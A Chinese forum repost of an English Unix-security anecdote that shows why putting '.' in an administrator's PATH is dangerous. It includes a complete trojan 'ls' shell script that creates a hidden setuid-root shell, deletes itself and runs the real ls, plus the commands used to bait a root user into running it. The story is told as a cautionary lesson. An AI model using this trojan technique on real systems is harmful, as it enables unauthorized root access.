免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1004 | 回复: 0
打印 上一主题 下一主题

将“."加入PATH导致安全问题的有趣尝试 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-05-26 09:41 |只看该作者 |倒序浏览
Stealing Superuser
Once upon a time, many years ago, one of us needed access to the root account on an academic machine. Although we had been authorized by management to have root access, the local system manager didn't want to disclose the password. He asserted that access to the root account
was dangerous (correct), that he had far more knowledge of Unix than we
did (unlikely), and that we didn't need the access (incorrect). After
several diplomatic and bureaucratic attempts to get access normally, we
took a slightly different approach, with management's wry approval.
We noticed that this user had "." at the beginning of his shell search
path. This meant that every time he typed a command name, the shell
would first search the current directory for the command of the same
name. When he did a su to root, this search path was inherited by the new shell. This was all we really needed.
First, we created an executable shell file named ls in the current directory:
CODE:
[Copy to clipboard]
#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}Then, we executed the following commands:
CODE:
[Copy to clipboard]
% cd
% chmod 700 .
% touch ./-fThe
trap was ready. We approached the recalcitrant administrator with the
complaint, "I have a funny file in my directory I can't seem to
delete." Because the directory was mode 700, he couldn't list the
directory to see the contents. So, he used su to become user root. Then he changed the directory to our home directory and issued the command ls to view the problem file. Instead of the system version of ls, he ran our version. This created a hidden setuid root copy of the shell, deleted the bogus ls command, and ran the real ls command. The administrator never knew what happened.
We listened politely as he explained (superciliously) that files
beginning with a dash character (-) needed to be deleted with a
pathname relative to the current directory (in our case, rm ./-f); of course, we knew that.
A few minutes later, he couldn't get the new root password.
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/19729/showart_118289.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP